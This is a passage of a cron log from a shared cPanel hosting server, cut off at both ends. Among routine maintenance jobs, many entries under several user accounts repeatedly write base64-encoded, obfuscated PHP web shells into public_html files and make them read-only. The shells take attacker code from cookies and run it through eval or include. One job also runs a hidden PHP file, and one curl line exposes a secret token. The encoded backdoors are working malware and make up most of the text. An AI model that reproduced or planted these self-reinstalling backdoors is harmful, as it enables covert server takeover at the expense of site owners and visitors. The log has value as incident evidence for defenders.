yg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:27:01 medusa CROND[16137]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:27:01 medusa CROND[16138]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:28:01 medusa CROND[6226]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 12:28:01 medusa CROND[6298]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:28:01 medusa CROND[6300]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:28:02 medusa CROND[6367]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 12:28:02 medusa CROND[6368]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:28:02 medusa CROND[6369]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:28:02 medusa CROND[6371]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:28:02 medusa CROND[6374]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:28:02 medusa CROND[6375]: (cerramientosco) CMD (cd /home12/cerramientosco/app.cerramientosandco.com; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Mar  1 12:28:02 medusa CROND[6377]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:28:02 medusa CROND[6380]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:28:02 medusa CROND[6381]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:28:02 medusa CROND[6382]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:28:02 medusa CROND[6376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:29:02 medusa CROND[28432]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 12:29:02 medusa CROND[28446]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 12:29:02 medusa CROND[28448]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 12:29:02 medusa CROND[28450]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 12:29:02 medusa CROND[28449]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  1 12:29:02 medusa CROND[28452]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:29:02 medusa CROND[28454]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 12:29:02 medusa CROND[28456]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 12:29:02 medusa CROND[28458]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 12:29:02 medusa CROND[28459]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:29:02 medusa CROND[28460]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:29:02 medusa CROND[28453]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:29:02 medusa CROND[28464]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 12:30:01 medusa CROND[19102]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  1 12:30:01 medusa CROND[19106]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  1 12:30:01 medusa CROND[19110]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  1 12:30:02 medusa CROND[19274]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Mar  1 12:30:02 medusa CROND[19285]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 12:30:02 medusa CROND[19284]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_lve_manager.cronlock /usr/share/l.v.e-manager/cpanel/hooks/l.v.e-manager_postupcp_hook.sh --cronjob)
Mar  1 12:30:02 medusa CROND[19287]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  1 12:30:02 medusa CROND[19290]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo 